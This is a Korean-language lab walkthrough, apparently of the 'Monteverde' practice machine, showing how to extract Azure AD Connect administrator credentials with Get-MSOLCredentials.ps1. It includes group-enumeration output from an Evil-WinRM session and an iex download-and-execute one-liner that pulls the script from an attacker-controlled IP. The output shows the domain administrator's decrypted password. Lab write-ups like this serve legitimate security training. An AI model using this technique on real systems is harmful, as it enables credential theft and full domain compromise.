1. 개요
Get-MSOLCredentials.ps1 은 Windows 환경에서 Azure AD Connect 설정에 저장된 관리자의 자격 증명을 복호화 해 추출하는 Powershell 스크립트이다.
1.1. 배경지식
Azure AD Connect란 기업들의 사내 AD 계정정보와 클라우드의 Azure AD 계정 정보를 동기화 하기 위해 사용하는 프로그램이다. 이 프로그램은 동기화 작업을 수행하기 위해 매우 높은 권한을 가진 계정의 아이디와 비밀번호를 저장해 둬야 한다. 이 때 계정 이름은 통상 MSOL_ 로 시작하거나 동기화 전용 관리자 계정이다. net user 와 같은 명령어를 통해 해당 이름으로 시작하는 계정이 있는 경우 높은 확률로 Azure AD Connect 를 이용 중이다.
2. 사용 예 - Monteverde
2.1. 계정 권한 확인하기
먼저 whoami /groups 를 통해서 해당 계정이 어떤 권한이 있는 지를 확인해야 한다. 아래의 경우에는 Azure Admins 에 속하는 것을 확인하였으므로 Azure AD Connect 서비스를 사용 중이라고 추론할 수 있다.
*Evil-WinRM* PS C:\Users\mhope\Documents> whoami /groups
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
=========================================== ================ ============================================ ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
MEGABANK\Azure Admins Group S-1-5-21-391775091-850290835-3566037492-2601 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Plus Mandatory Level Label S-1-16-8448
마찬가지로 net user 에서도 Azure Admins 그룹에 속해 있는 사실을 확인할 수 있으므로 Azure AD Connect 서비스를 이용 중이라고 판단할 수 있다.
*Evil-WinRM* PS C:\Users\mhope\Documents> net user mhope
User name mhope
Full Name Mike Hope
Comment
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set 1/2/2020 3:40:05 PM
Password expires Never
Password changeable 1/3/2020 3:40:05 PM
Password required Yes
User may change password No
Workstations allowed All
Logon script
User profile
Home directory \\monteverde\users$\mhope
Last logon 1/3/2020 5:29:59 AM
Logon hours allowed All
Local Group Memberships *Remote Management Use
Global Group memberships *Azure Admins *Domain Users
The command completed successfully.
2.2. 스크립트 실행
위에서 해당 권한을 가진 유저(mhope)의 권한으로 Get-MSOLCredentials.ps1 스크립트를 실행시키면 해당 labs 에서는 바로 administrator 의 계정이 나오는 것을 확인할 수 있다.
*Evil-WinRM* PS C:\Users\mhope\Documents> iex(new-object net.webclient).downloadstring('http://10.10.14.143/Get-MSOLCredentials.ps1')
Domain: MEGABANK.LOCAL
Username: administrator
Password: d0m@in4dminyeah!